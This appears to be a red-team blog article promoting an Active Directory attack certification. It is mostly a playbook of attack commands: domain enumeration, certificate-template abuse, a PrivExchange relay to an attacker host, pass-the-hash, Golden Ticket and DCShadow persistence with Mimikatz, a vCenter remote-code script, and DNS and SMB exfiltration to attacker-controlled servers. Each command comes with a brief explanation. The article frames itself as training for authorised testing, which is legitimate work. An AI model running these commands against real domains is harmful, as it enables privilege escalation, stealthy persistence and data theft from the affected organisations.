The Red Teamer’s AD Playbook: Unlocking the Secrets of Active Directory Domination

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Introduction:

Active Directory (AD) remains the crown jewel of corporate network infrastructure, making it the primary target for sophisticated cyber attacks. Mastering AD exploitation is a critical skill for red teams to accurately assess organizational security posture, identify vulnerabilities, and demonstrate real-world attack paths that adversaries might exploit.

Learning Objectives:

  • Understand advanced Active Directory exploitation techniques beyond basic enumeration
  • Master certificate services abuse and critical lateral movement methods
  • Implement persistent access and data exfiltration strategies in segmented environments

You Should Know:

1. Active Directory Fundamental Enumeration

Verified commands for initial reconnaissance and mapping the AD landscape.

 PowerView Module Commands
Get-NetDomain
Get-NetComputer | Select-Object name, operatingsystem
Get-NetUser | Select-Object samaccountname, lastlogon, admincount
Get-NetGroup -GroupName "Domain Admins"

This PowerShell script using PowerView performs fundamental AD enumeration. `Get-NetDomain` retrieves current domain information, while `Get-NetComputer` lists all domain-joined systems. `Get-NetUser` extracts user accounts with key attributes, and `Get-NetGroup` specifically targets privileged groups like Domain Admins for initial targeting.

2. Certificate Services Exploitation

Advanced techniques for abusing AD Certificate Services (AD CS).

 Certify Tool for Certificate Template Discovery
Certify.exe find /vulnerable

Requesting a Certificate for Domain Persistence
Certify.exe request /ca:CA01.domain.com\Domain-CA /template:ESC1 /altname:DomainAdmin

Certify identifies vulnerable certificate templates that allow privilege escalation. The `find /vulnerable` parameter locates templates with dangerous configurations, while the `request` command exploits these templates to generate certificates granting elevated privileges, enabling persistent domain access.

3. Exchange Server Attack Vectors

Compromising Exchange servers to expand domain control.

 PowerView Exchange Enumeration
Get-ExchangeServer | Get-WebServicesVirtualDirectory | Select-Object Identity

PrivExchange Attack for Privilege Escalation
python privexchange.py -ah attacker.com -u user -p password -d domain.com exchange.domain.com

Exchange servers often hold privileged positions in AD environments. These commands identify Exchange web services and execute the PrivExchange attack, which forces the Exchange server to authenticate to the attacker, potentially relaying credentials to gain domain administrative privileges.

4. Lateral Movement Techniques

Verified commands for moving through the network after initial compromise.

 Pass-the-Hash with CrackMapExec
crackmapexec smb target_ips -u administrator -H ntlm_hash --local-auth

Overpass-the-Hash to Request Kerberos Ticket
python getTGT.py domain.com/user:password
export KRB5CCNAME=domain.com_user.ccache

CrackMapExec enables lateral movement via Pass-the-Hash against multiple targets simultaneously. The Overpass-the-Hash technique converts compromised credentials into Kerberos tickets, allowing authentication without repeatedly using password hashes and evading some detection mechanisms.

5. Persistence & Privilege Escalation

Maintaining access and elevating privileges across the domain.

 Golden Ticket Attack with Mimikatz
mimikatz  kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-... /krbtgt:hash /id:500 /ptt

DCShadow for Stealth Persistence
mimikatz  lsadump::dcshadow /object:CN=User,DC=domain,DC=com /attribute:primaryGroupID /value:512

The Golden Ticket attack forges Kerberos tickets providing permanent domain administrator access. DCShadow registers a fake domain controller to push malicious changes directly to AD, creating extremely stealthy persistence that’s difficult to detect through conventional monitoring.

6. ESXi Red Team Operations

Exploiting virtualization infrastructure for expanded access.

 ESXi Host Enumeration
nmap -p 443,902 target_esxi --script vmware-version

vSphere API Exploitation for VM Access
python vmware_vcenter_sso_rce.py -t vcenter.domain.com -u user -p password -c "whoami"

ESXi and vSphere infrastructure often contains critical data and management capabilities. These commands identify VMware systems and exploit SSO vulnerabilities to execute commands, potentially gaining access to virtual machines that contain domain credentials or sensitive information.

7. Data Exfiltration Methods

Stealthy techniques for extracting sensitive data from compromised environments.

 DNS Exfiltration using DNSCat2
 Attacker:
dnscat2-server domain.com
 Compromised host:
dnscat2-client --dns server=attacker.domain.com

SMB Covert Channel Exfiltration
smbclient -U domain/user //exfil_server/share -c "put sensitive_data.txt" -m SMB3

DNSCat2 creates a covert channel through DNS queries that often bypasses network monitoring. The SMB method uses encrypted SMB3 sessions to exfiltrate data while appearing as normal file server traffic, making detection through content inspection difficult.

What Undercode Say:

  • Advanced AD exploitation requires moving beyond automated tools to understand underlying protocols and trust relationships
  • Certificate services have become the new frontier for privilege escalation in hardened environments
  • Modern red team operations must integrate multiple attack vectors for comprehensive domain compromise

The AD-RTS certification represents a shift toward integrated attack simulations that mirror sophisticated adversary tradecraft. Rather than focusing on individual vulnerabilities, this approach emphasizes chaining multiple techniques across different AD services to achieve domain dominance. The integration of custom C2 infrastructure demonstrates the evolution from scripted exercises to operational tradecraft that adapts to target environments. As organizations implement better detection for classic techniques like Pass-the-Hash, attackers are pivoting to less-monitored services like certificate authorities and virtualization platforms. This certification pathway validates that red team professionals can operate at the level of advanced persistent threats, requiring deep knowledge of both exploitation and the underlying architecture they’re targeting.

Prediction:

The convergence of AD exploitation with cloud identity systems will create new attack surfaces that span hybrid environments. As Microsoft continues hardening traditional AD, we’ll see increased focus on attacking Azure AD Connect, conditional access policies, and multi-cloud trust relationships. Red teams will need to master identity federation attacks that bridge on-premises and cloud infrastructures, while defensive strategies must evolve beyond traditional AD monitoring to encompass the entire identity fabric.

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Reported By: Manuel Veas – Hackers Feeds
Extra Hub: Undercode MoN
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